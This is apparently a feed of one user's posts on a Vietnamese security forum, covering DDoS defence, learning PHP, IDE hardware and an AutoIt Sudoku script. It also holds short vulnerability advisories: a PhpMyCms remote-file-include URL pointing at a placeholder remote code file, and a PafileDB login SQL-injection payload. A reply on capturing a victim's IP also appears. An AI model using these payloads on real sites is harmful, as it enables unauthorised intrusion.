<![CDATA[Messages posted by "nhutdm"]]> /hvaonline/posts/listByUser/25021.html JForum - http://www.jforum.net cho mình hỏi về Kali linux /hvaonline/posts/preList/45300/279403.html#279403 /hvaonline/posts/preList/45300/279403.html#279403 GMT Xin trợ giúp, mình đang bị tấn công ddos mạnh và thời gian dài!

thaihung9221 wrote:
tình hình là wap em bị 1 thằng khốn nạn nào đó ddos 1 tuần nay sau đó em chuyển sub chặn IP nó thì là tiếp tục dùng 1 con vps khác ddos. Chắc chắn là vps vì nó ddos 24/24 ngày đầu tiên đi 200 Gb BW. Sau chặn IP = host + .htaccess thì bw lên chậm hơn nhiều nhưng nó vẫn cắn. đây là log hôm nay của em. IP nó ddos hôm trước là 65.52.156.181 hôm nay là 65.52.32.148 Mong các pro chỉ giáo. thanks 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) 65.52.32.148 /login.php 4/16/11 2:45 PM 0 Mozilla/4.0 (compatible; MSI  
Mình không rành khoảng này nhưng tốt nhất nên đặt captcha cho trang này. Theo hướng nghĩ của em! Vì họ tấn công vào trang login.php truy vấn MySQL server...]]>
/hvaonline/posts/preList/38356/236138.html#236138 /hvaonline/posts/preList/38356/236138.html#236138 GMT
Nên bắt đầu từ đâu khi học PHP

khongtinhky wrote:
Chào các bạn! các bạn có thể cho mình một vài lời khuyên về việc bắt đầu từ đâu khi học lập trình PHP không :x Bởi mình thấy PHP không dễ học khi muốn hiểu rõ những từ khoá trong ngôn ngữ lập trình web này. Tks. :-(  
Bạn nên bắt đầu bằng những ngôn ngữ lập trình cơ bản như C++ để hiểu rõ thêm về giải thuật... Bất cứ ngôn ngữ nào cũng có điểm chung ở giải thuật. Tiếp theo là HTML, CSS và Javascript để hỗ trợ tốt cho giao diện. Còn PHP thì trong manual đã có đầy đủ những hàm, chức năng và ví dụ. Quan trọng là bạn có khả năng vận dụng và bắt chước những gì có sẵn.]]>
/hvaonline/posts/preList/38441/236105.html#236105 /hvaonline/posts/preList/38441/236105.html#236105 GMT
Tai sao thay đổi địa chỉ MAC vẫn ko truy cập dc wifi /hvaonline/posts/preList/37854/232702.html#232702 /hvaonline/posts/preList/37854/232702.html#232702 GMT lấy ip của người khác bằng yahoo

Search_IT wrote:

vietco21 wrote:
chỉ là đưa ra thảo luận cho a e học hỏi tí thui ak mình không có ý định làm hại ai cả 
Bạn nếu thực sự muốn biết cái đó thì bạn bỏ thời gian 1 ngày để đọc cuốn http://www.mediafire.com/?viiptwcnk0b là bạn sẻ biết làm như nào. Thế này cho nhanh. Trong php sẻ có một hàm get IP của client (lên hỏi bác google), công việc của bạn là tạo site php và bỏ hàm này vào và insert vào trong Database. Khi view lên bạn làm một page khác list tất cả các IP đã lưu vào Database trước đó. Cách này rất thật đó bạn. Mình chỉ nghĩ đc thế. Nếu bạn quản trị một 4rum hay site nào đó thì view IP của một client ko khó. Vài lời góp ý. Note: Không yêu đừng nói lời cay đắng :D 
Lấy được IP của victim rồi thì sẽ làm được gì khi router không open port nào ra bên ngoài?]]>
/hvaonline/posts/preList/37795/232699.html#232699 /hvaonline/posts/preList/37795/232699.html#232699 GMT
Re: hướng dẫn chi tiết tấn công một mạng wifi (wireless)

tranduyninh wrote:
cả tuần mới có dịp lên mạng , vào hva thấy bị nhắc nhở buồn quá . cũng lưu ý các bạn là khi mình dùng cách trên với broadcom wireless thì nó cứ trơ ra . 
Nếu bạn sử dụng Ubuntu thì có lẽ sẽ dễ dàng thực hiện hơn. Với wireless card Broadcom BCM43xx bạn có thể tìm driver b43-fwcutter. Mình tìm được một link hướng dẫn thêm patch cho kernel và biên dịch kernel cho Ubuntu 9.10 ở đây http://hacking-library.com/forum/viewtopic.php?f=36&t=201&start=0, bạn có thể làm theo hướng dẫn.]]>
/hvaonline/posts/preList/22387/198209.html#198209 /hvaonline/posts/preList/22387/198209.html#198209 GMT
Re: Học HTTP qua các công cụ sniffer /hvaonline/posts/preList/19824/141284.html#141284 /hvaonline/posts/preList/19824/141284.html#141284 GMT Re: Tương thích của HDD và DVD-R/W

maithangbs wrote:

KVD wrote:
Như vậy nếu mainboard chỉ hỗ trợ 1 cổng ATA 133 thì chỉ gắn được 1 trong 2 món ATA thôi à? Khổ cái khoản tiền nong... 
Gắn được 2 cái luôn, các main mới chỉ hỗ trợ 1 slot IDE - chỉ gắn được 02 thiết bị. Ý mình nói là nếu bạn muốn gắn thêm 01 thiết bị giao tiếp qua IDE nữa là không thể được thôi. Còn lại gắn 01 ổ DVD + 01 HDD là OK.  
Cảm ơn anh nhiều nhá! Giải quyết được cái khoản này òi... Mừng ghê! Cuối tuần đổi máy... Hì hì!]]>
/hvaonline/posts/preList/21698/129358.html#129358 /hvaonline/posts/preList/21698/129358.html#129358 GMT
Re: Tương thích của HDD và DVD-R/W

maithangbs wrote:
Hoàn toàn bình thường. Mình chưa bao giờ thấy main nào kén HDD và DVD giao tiếp IDE cả. Tuy nhiên dùng như thế là bạn hết slot IDE (ví dụ nếu cắm thêm 1 ổ CD-ROM nữa là chịu), chắc vấn đề này cũng không quan trọng. Để cẩn thận, khi mua các thứ đó bạn nên mang theo cả HDD và DVD, sau đó yêu cầu bên bán lắp ráp và cài đặt phần mềm luôn để phát hiện nếu có sự không tương thích thì có thể đổi main khác. 
Như vậy nếu mainboard chỉ hỗ trợ 1 cổng ATA 133 thì chỉ gắn được 1 trong 2 món ATA thôi à? Khổ cái khoản tiền nong...]]>
/hvaonline/posts/preList/21698/129354.html#129354 /hvaonline/posts/preList/21698/129354.html#129354 GMT
Re: Tương thích của HDD và DVD-R/W

thephatcompany wrote:
Nếu gắn HDD và DVD chung cáp thì bạn nhớ set jum HDD là master và DVD là slave. Mua main ECS 945 là chạy ngon, giá khoản 45usd 
Vậy là mình có thể sử dụng 1 cổng ATA 133 cùng cáp cho cả 2 món trên nhưng set jumper đúng là được?]]>
/hvaonline/posts/preList/21698/129103.html#129103 /hvaonline/posts/preList/21698/129103.html#129103 GMT
Tương thích của HDD và DVD-R/W /hvaonline/posts/preList/21698/129077.html#129077 /hvaonline/posts/preList/21698/129077.html#129077 GMT Invision Power Board v2.1.x Path Disclosure Vulnerability /hvaonline/posts/preList/3694/40550.html#40550 /hvaonline/posts/preList/3694/40550.html#40550 GMT PhpMyCms &lt;= 0.3 Remote File Include Vulnerability http://sourceforge.net/projects/phpmycms Code:
http://localhost/path/basic.inc.php?basepath_start=http://EvElCoDe.txt?
]]>
/hvaonline/posts/preList/5197/30522.html#30522 /hvaonline/posts/preList/5197/30522.html#30522 GMT
PafileDB Login SQL Injection Vulnerable include/admin/auth.php Code Code:
if (isset($_COOKIE['pafiledb_user']) && isset($_COOKIE['pafiledb_pass'])) { //If the cookie exists, do all this:
    
    $admininfo = array();
    if (checkpass($_COOKIE['pafiledb_user'], $_COOKIE['pafiledb_pass'], $admininfo)) {
        //checkpass() returned true, so the user exists
        
        //$adminloggedin is a var used throughout the script to see if someone's logged in.
        $adminloggedin = true;
        $smarty->assign('admininfo', $admininfo[0]);
        
    } else { //The cookie exists, but the user/pass don't match
...
Username : 1%20union%20select%%20201,2,3,4/* Password : 1%20union%20select%%20201,2,3,4/* /]]>
/hvaonline/posts/preList/5195/30520.html#30520 /hvaonline/posts/preList/5195/30520.html#30520 GMT
Sodoku Game Sodoku Game Code:
; created mostly by fisofo, with code scraps borrowed from all over ;)
; check "about" for credits.

#NoTrayIcon
#include <IE.au3>
#include <GuiConstants.au3>

Dim $aSudArray[9][9]
Dim $aOrigArray[9][9]
Dim $aEnumArray[10]
Dim $smallbuttons[9][9][9]
Dim $largebuttons[9][9]
Dim $IDtoPosition[1000][3]
Dim $Difficulty = 1
Dim $DifficultyText = "Easy"
Dim $Progress = 0
Dim $increment = 1
Dim $ProgressBar
Dim $HelperCheckbox
Dim $PossibilityArray[9][9][10]
Dim $SolutionsArray[81][3]
Dim	$SolutionsCount = 0
Dim $isSolved = 0

_MainMenu()
;~ _StartSudoku() ; for testing

Func _MainMenu()
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 7)
	GuiCreate("Sudoku-It!", 222, 403,-1, -1 , BitOR($WS_OVERLAPPEDWINDOW, $WS_CLIPSIBLINGS))
	
	$Progress = 0
	$ButtonEasy = GuiCtrlCreateButton("Easy", 10, 40, 200, 50)
	GUICtrlSetFont($ButtonEasy, 12, 700)
	$ButtonMedium = GuiCtrlCreateButton("Medium", 10, 100, 200, 50)
	GUICtrlSetFont($ButtonMedium, 12, 700)
	$ButtonHard = GuiCtrlCreateButton("Hard", 10, 160, 200, 50)
	GUICtrlSetFont($ButtonHard, 12, 700)
	$ButtonInsane = GuiCtrlCreateButton("Insane", 10, 220, 200, 50)
	GUICtrlSetFont($ButtonInsane, 12, 700)
	$ButtonCustom = GuiCtrlCreateButton("Custom", 10, 280, 200, 50)
	GUICtrlSetFont($ButtonCustom, 12, 700)
	$ButtonAbout = GuiCtrlCreateButton("About", 60, 360, 100, 30)
	$Label_GUI = GuiCtrlCreateLabel("Select Difficulty Level", 10, 10, 200, 20, $SS_CENTER)
	GUICtrlSetFont($Label_GUI, 14, 700)
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 0)
	$ProgressBar = GuiCtrlCreateProgress(10, 340, 200, 10, $PBS_SMOOTH)

	GuiSetState()
	While 1
		$msg = GuiGetMsg()
		Select
			Case $msg = $GUI_EVENT_CLOSE
				Exit
			Case $msg = $ButtonEasy
				$Difficulty = 1
				$DifficultyText = "Easy"
				ExitLoop
			Case $msg = $ButtonMedium
				$Difficulty = 2
				$DifficultyText = "Medium"
				ExitLoop
			Case $msg = $ButtonHard
				$Difficulty = 3
				$DifficultyText = "Hard"
				ExitLoop
			Case $msg = $ButtonInsane
				$Difficulty = 4
				$DifficultyText = "Insane"
				ExitLoop
			Case $msg = $ButtonCustom
				$Difficulty = 1
				$DifficultyText = "Custom!"
				For $row = 0 to 8
					For $col = 0 to 8
						$aSudArray[$row][$col] = 0
						$aOrigArray[$row][$col] = 0
					Next
				Next
				GUIDelete()
				_SudokuGUI()
			Case $msg = $ButtonAbout
				MsgBox(64, "About", "Mostly created by Fisofo..." & Chr(13) & Chr(13) & Chr(13) & _
						"But Sudokudos! to:" & Chr(13) & Chr(13) & _
						"nfwu for the Game GUI and" & Chr(13) & _
						"PsaltyDS for the Progress bar" & Chr(13) & Chr(13) & _
						"To the forum goers that" & Chr(13) & _
						"put up with my questions ;)" & Chr(13) & Chr(13) & _
						"And to my loverly wife," & Chr(13) & _
						"who lets me stay up late coding!")
			Case Else
				;;;
		EndSelect
	WEnd
	_SetProgColor()
	GUICtrlSetState($ButtonEasy, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonMedium, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonHard, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonInsane, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonCustom, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonAbout, $GUI_DISABLE)
	_SetProgColor()
	_StartSudoku()
EndFunc   ;==>_MainMenu

Func _StartSudoku()
	_SudokuGenerator()
	GUIDelete()
	_SudokuGUI()
EndFunc

Func _SudokuGUI() ; credit to nfwu for the math behind the GUI!
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 0)

	Dim $GUI = GUICreate("Sudoku-It! Game - " & $DifficultyText, 3 * 230 - 10, 3 * 230 + 50)

	For $h = 0 To 8
		For $i = 0 To 8
			GUICtrlCreateGroup("", 5 + Mod($h, 3) * 230 + Mod($i, 3) * 70, _
					0 + Int($h / 3) * 230 + Int($i / 3) * 70, 70, 75)
			For $j = 0 To 8
				$smallbuttons[$h][$i][$j] = _CreateSmallButton($h, $i, $j)
				$IDtoPosition[$smallbuttons[$h][$i][$j]][0] = $h
				$IDtoPosition[$smallbuttons[$h][$i][$j]][1] = $i
				$IDtoPosition[$smallbuttons[$h][$i][$j]][2] = $j
				GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_HIDE)
			Next
		Next
	Next
	For $h = 0 To 8
		For $i = 0 To 8
			$largebuttons[$h][$i] = _CreateLargeButton($h, $i, $j)
			$IDtoPosition[$largebuttons[$h][$i]][0] = $h
			$IDtoPosition[$largebuttons[$h][$i]][1] = $i
			$IDtoPosition[$largebuttons[$h][$i]][2] = -1
			GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
		Next
	Next

	$Progress = 0
	$ProgressBar = GuiCtrlCreateProgress(155, 3 * 230 - 10, 290, 50, $PBS_SMOOTH)
	
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 7)
	$HelperCheckbox = GUICtrlCreateCheckbox("Helper Mode On/Off", 10, 3 * 230 - 10)
	GUICtrlSetState($HelperCheckbox, $GUI_UNCHECKED)
	$SolveButton = GUICtrlCreateButton("Solve", 10, 3 * 230 + 15)
	$ResetButton = GUICtrlCreateButton("Reset", 50, 3 * 230 + 15)
	$CheckButton = GUICtrlCreateButton("Check It!", 90, 3 * 230 + 15)
	$SudokuLabel = GUICtrlCreateLabel("Sudoku-It!", 460, 3 * 230 - 10, 3 * 230, 50)
	GUICtrlSetFont($SudokuLabel, 32, 700, 2)
	
	_InitGUI()
	_SudokuInitNormal()
	
	GuiSetState()
	While 1
		$msg = GuiGetMsg()
		Select
			Case $msg = $GUI_EVENT_CLOSE
				GUIDelete()
				_MainMenu()
			Case $msg >= $smallbuttons[0][0][0] AND $msg <= $smallbuttons[8][8][8]
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator($msg)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuNormalMode("small", $msg)
				EndIf
			Case $msg >= $largebuttons[0][0] AND $msg <= $largebuttons[8][8]
				GUICtrlSetData($msg, 0)
				$row = _GridConvert($IDtoPosition[$msg][0], $IDtoPosition[$msg][1], "row")
				$col = _GridConvert($IDtoPosition[$msg][0], $IDtoPosition[$msg][1], "col")
				$aSudArray[$row][$col] = 0
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator(-1)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuNormalMode("big", $msg)
				EndIf
			Case $msg = $HelperCheckbox
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator(-1)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuInitNormal()
				EndIf
			Case $msg = $SolveButton
				_SudokuSolver()
			case $msg = $CheckButton
				$isSolved = _SudokuEliminator(-1)
				if $isSolved = 81 Then
					MsgBox(0,"Congrats", "You're done!") ; obviously not done
				Else
					MsgBox(0,"Keep Going...","Have you tried the Solve Button?")
				EndIf
			Case $msg = $ResetButton
				For $row = 0 to 8
					for $col = 0 to 8
						$h = _GridConvert($row, $col, "h")
						$i = _GridConvert($row, $col, "i")
						if $aSudArray[$row][$col] <> 0 Then
							$aSudArray[$row][$col] = $aOrigArray[$row][$col]
						EndIf
					Next
				Next
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator(-1)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuInitNormal()
				EndIf
			Case Else
				;
		EndSelect
	WEnd
EndFunc   ;==>_SudokuGUI

Func _SudokuInitNormal()
	For $row = 0 to 8
		for $col = 0 to 8
			$h = _GridConvert($row, $col, "h")
			$i = _GridConvert($row, $col, "i")
			if $aSudArray[$row][$col]= 0 Then
				GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
				for $aCell = 0 to 8
					GUICtrlSetState($smallbuttons[$h][$i][$aCell],$GUI_SHOW)
				Next
			Else
				GUICtrlSetData($largebuttons[$h][$i], $aSudArray[$row][$col])
				GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
				for $aCell = 0 to 8
					GUICtrlSetState($smallbuttons[$h][$i][$aCell],$GUI_HIDE)
				Next
			EndIf
		Next
	Next
EndFunc   ;==>_SudokuInitNormal

Func _InitGUI()
	For $row = 0 to 8
		for $col = 0 to 8
			$h = _GridConvert($row, $col, "h")
			$i = _GridConvert($row, $col, "i")
			GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
			GUICtrlSetFont($largebuttons[$h][$i],14,1000)
			if $aSudArray[$row][$col] <> 0 Then
				GUICtrlSetState($largebuttons[$h][$i],$GUI_DISABLE)
			EndIf
		Next
	Next
EndFunc   ;==>_InitGUI

Func _SudokuGenerator()
	$oIE = _IECreate("http://view.websudoku.com/?level=" & $Difficulty, 0, 0, 0) ; Disable for testing
;~ 	$oIE = _IEAttach("http://view.websudoku.com/?level=4", "URL")   ; for testing, open in seperate browser before running script
	_SetProgColor()
	while 1
		if _IEPropertyGet($oIE, "readystate") = 4 Then
			ExitLoop
		Else
			_SetProgColor()
		EndIf
	WEnd
	_SetProgColor()
	$oSudForm = _IEFormGetObjByName($oIE, "board")
	_SetProgColor()
	$oSudInputs = _IEFormElementGetCollection($oSudForm)
	_SetProgColor()
	
	$row = 0
	$col = 0
	For $oSudInput in $oSudInputs
		$aSudArray[$row][$col] = _IEFormElementGetValue($oSudInput)
		$aOrigArray[$row][$col] = $aSudArray[$row][$col]
		_SetProgColor()
		If $row = 8 and $col = 8 Then
			ExitLoop
		EndIf
		If $col = 8 Then
			$col = 0
			$row = $row + 1
		Else
			$col = $col + 1
		EndIf
	Next
	
	while $Progress < 1000
		_SetProgColor()
	WEnd
	
	_IEQuit($oIE)   ; Disable for testing
EndFunc   ;==>_SudokuGenerator

Func _SudokuNormalMode($button, $CID)
	if $button = "small" Then
		;----- small button clicked -----;
		; set value in array to number from small box
		$row = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "row")
		$col = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "col")
		$aSudArray[$row][$col] = GUICtrlRead($CID)
		
		$h = _GridConvert($row, $col, "h")
		$i = _GridConvert($row, $col, "i")
		
		;hide small buttons in this cell
		for $j = 0 to 8
			GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_HIDE)
		Next
		
		;show big button in this cell
		GUICtrlSetData($largebuttons[$h][$i], $aSudArray[$row][$col])
		GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
	Elseif $button = "big" Then
		;----- big button clicked -----;
		; value is already zero in button and array
		$row = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "row")
		$col = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "col")
		$h = _GridConvert($row, $col, "h")
		$i = _GridConvert($row, $col, "i")
		
		;show small buttons in this cell
		for $j = 0 to 8
			GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_SHOW)
		Next
		
		; hide big button in this cell
		GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
	EndIf
EndFunc   ;==>_SudokuNormalMode

Func _SudokuSolver()
	; Methods
	; 1. check for cells that have one possibility
	; 2. check boxes/rows/cols for a cell that has a possibility no other cell has
	; 3. Not implemented:Check for cells that depend on eachother to eliminate other possibilities?
	GUICtrlSetState($HelperCheckbox, $GUI_CHECKED)
	$count = 0
	$DoneYet = _SudokuEliminator(-1)
	while 1
		_SudokuSolver1()
		_SudokuSolver2()
		$CantSolve = $DoneYet
		$DoneYet = _SudokuEliminator(-1)
		if $DoneYet = 81 Then
			ExitLoop
		ElseIf $count = 2 Then
			ExitLoop
		ElseIf $CantSolve = $DoneYet Then
			$count = $count + 1
		EndIf
	WEnd
	
	while $Progress <> 0
		_SetProgColor()
	WEnd
EndFunc   ;==>_SudokuNormalMode

Func _SudokuSolver1()
	_SudokuEliminator(-1)
	; done checking board, all case 1 solutions are in $SolutionsArray
	for $x = 0 to $SolutionsCount - 1
		$aSudArray[$SolutionsArray[$x][0]][$SolutionsArray[$x][1]] = $SolutionsArray[$x][2]
	Next
EndFunc   ;==>_SudokuSolver1

Func _SudokuSolver2()
	Dim $SolutionsArray2[81][3]
	Dim $Case2Array[10][3]

	$SolutionsCount = 0
	
	For $row = 0 to 8
		; Check Column
		For $x = 0 to 9
			$Case2Array[$x][2] = 0
		Next
		For $inCol = 0 to 8
			For $aChoice = 1 to 9
				_SetProgColor()
				if $PossibilityArray[$row][$inCol][$aChoice] = 1 Then
					$Case2Array[$aChoice][0] = $row
					$Case2Array[$aChoice][1] = $inCol
					$Case2Array[$aChoice][2] = $Case2Array[$aChoice][2] + 1
				EndIf
			Next
		Next
		; done checking Column, check for $aChoice's = 1
		for $aChoice = 1 to 9
			_SetProgColor()
			if $Case2Array[$aChoice][2] = 1 Then
				$SolutionsArray2[$SolutionsCount][0] = $Case2Array[$aChoice][0]
				$SolutionsArray2[$SolutionsCount][1] = $Case2Array[$aChoice][1]
				$SolutionsArray2[$SolutionsCount][2] = $aChoice
				$SolutionsCount = $SolutionsCount + 1
			EndIf
		Next
	Next
	
	For $col = 0 to 8
		; Check Row
		For $x = 0 to 9
			$Case2Array[$x][2] = 0
		Next
		For $inRow = 0 to 8
			For $aChoice = 1 to 9
				_SetProgColor()
				if $PossibilityArray[$inRow][$col][$aChoice] = 1 Then
					$Case2Array[$aChoice][0] = $inRow
					$Case2Array[$aChoice][1] = $col
					$Case2Array[$aChoice][2] = $Case2Array[$aChoice][2] + 1
				EndIf
			Next
		Next
		; done checking Row, check for $aChoice's = 1
		for $aChoice = 1 to 9
			_SetProgColor()
			if $Case2Array[$aChoice][2] = 1 Then
				$SolutionsArray2[$SolutionsCount][0] = $Case2Array[$aChoice][0]
				$SolutionsArray2[$SolutionsCount][1] = $Case2Array[$aChoice][1]
				$SolutionsArray2[$SolutionsCount][2] = $aChoice
				$SolutionsCount = $SolutionsCount + 1
			EndIf
		Next
	Next
	
	; now check $PossibilityArray for each box to find case 2 solutions
	For $row = 0 to 6 step 3
		for $col = 0 to 6 step 3
			For $x = 0 to 9
				$Case2Array[$x][2] = 0
			Next
			$aStrCol = floor($col/3)*3
			$aEndCol = floor($col/3)*3+2
			$aStrRow = floor($row/3)*3
			$aEndRow = floor($row/3)*3+2
			for $inRow = $aStrRow to $aEndRow
				for $inCol = $aStrCol to $aEndCol
					for $aChoice = 1 to 9
						_SetProgColor()
						if $PossibilityArray[$inRow][$inCol][$aChoice] = 1 Then
							$Case2Array[$aChoice][0] = $inRow
							$Case2Array[$aChoice][1] = $inCol
							$Case2Array[$aChoice][2] = $Case2Array[$aChoice][2] + 1
						EndIf
					Next
				Next
			Next
			; done checking box, check for $aChoice's = 1
			for $aChoice = 1 to 9
				_SetProgColor()
				if $Case2Array[$aChoice][2] = 1 Then
					$SolutionsArray2[$SolutionsCount][0] = $Case2Array[$aChoice][0]
					$SolutionsArray2[$SolutionsCount][1] = $Case2Array[$aChoice][1]
					$SolutionsArray2[$SolutionsCount][2] = $aChoice
					$SolutionsCount = $SolutionsCount + 1
				EndIf
			Next
		Next
	Next
	
	
	for $x = 0 to $SolutionsCount - 1
		$aSudArray[$SolutionsArray2[$x][0]][$SolutionsArray2[$x][1]] = $SolutionsArray2[$x][2]
	Next
EndFunc   ;==>_SudokuSolver2

Func _SudokuSolver3() ; doesn't quite work
	Dim $Case3Array[10][6]
	
	; now check $PossibilityArray for each box to find case 3 solutions
	For $row = 0 to 6 step 3
		for $col = 0 to 6 step 3
			For $x = 0 to 9
				$Case3Array[$x][2] = 0
				$Case3Array[$x][5] = 0
			Next
			$aStrCol = floor($col/3)*3
			$aEndCol = floor($col/3)*3+2
			$aStrRow = floor($row/3)*3
			$aEndRow = floor($row/3)*3+2
			for $inRow = $aStrRow to $aEndRow
				for $inCol = $aStrCol to $aEndCol
					for $aChoice = 1 to 9
						_SetProgColor()
						If $Case3Array[$aChoice][5] > 1 Then
							;skip
						Elseif $PossibilityArray[$inRow][$inCol][$aChoice] = 1 Then
							If $Case3Array[$aChoice][2] = 0 Then
								$Case3Array[$aChoice][0] = $inRow
								$Case3Array[$aChoice][1] = $inCol
								$Case3Array[$aChoice][2] = $Case3Array[$aChoice][2] + 1
							ElseIf $Case3Array[$aChoice][5] = 0 Then
								$Case3Array[$aChoice][3] = $inRow
								$Case3Array[$aChoice][4] = $inCol
								$Case3Array[$aChoice][5] = $Case3Array[$aChoice][5] + 1
							Else
								$Case3Array[$aChoice][5] = $Case3Array[$aChoice][5] + 1
							EndIf
						EndIf
					Next
				Next
			Next
			; done checking box, check for $aChoice's = 1
			for $aChoice = 1 to 9
				_SetProgColor()
				if $Case3Array[$aChoice][5] = 1 Then
					if $Case3Array[$aChoice][0] = $Case3Array[$aChoice][3] Then
						; we found 2 unique in box in a row, eliminate others in this row
						For $inCol = 0 to 8
							$inRow = $Case3Array[$aChoice][0]
							if $inCol = $Case3Array[$aChoice][1] or $inCol = $Case3Array[$aChoice][4] Then
								; do nothing
							Else
								$PossibilityArray[$inRow][$inCol][$aChoice] = 0
								$h = _GridConvert($inRow, $inCol, "h")
								$i = _GridConvert($inRow, $inCol, "i")
								GUICtrlSetState($smallbuttons[$h][$i][$aChoice-1],$GUI_HIDE)
							EndIf
						Next
					ElseIf $Case3Array[$aChoice][1] = $Case3Array[$aChoice][4] Then
						; we found 2 unique in box in a col, eliminate others in this col
						For $inRow = 0 to 8
							$inCol = $Case3Array[$aChoice][1]
							if $inRow = $Case3Array[$aChoice][0] or $inRow = $Case3Array[$aChoice][3] Then
								; do nothing
							Else
								$PossibilityArray[$inRow][$inCol][$aChoice] = 0
								$h = _GridConvert($inRow, $inCol, "h")
								$i = _GridConvert($inRow, $inCol, "i")
								GUICtrlSetState($smallbuttons[$h][$i][$aChoice-1],$GUI_HIDE)
							EndIf
						Next
					EndIf
				EndIf
			Next
		Next
	Next
EndFunc   ;==>_SudokuSolver3

Func _SudokuEliminator($CID)
	Dim $SolutionsArray[81][3]
	Dim $PossibilityArray[9][9][10]
	$SolutionsCount = 0
	
	$isSolved = 0
	if $CID = -1 Then
		;----- Eliminator/check all = will check entire board and reset as necessary
		$StartCol = 0
		$StartRow = 0
		$EndCol = 8
		$EndRow = 8
		$HideNumber = 0 ;value to run main program checks on
	Else
		;----- Eliminator/small button clicked -----;
		; set value in array to number from small box
		$row = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "row")
		$col = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "col")
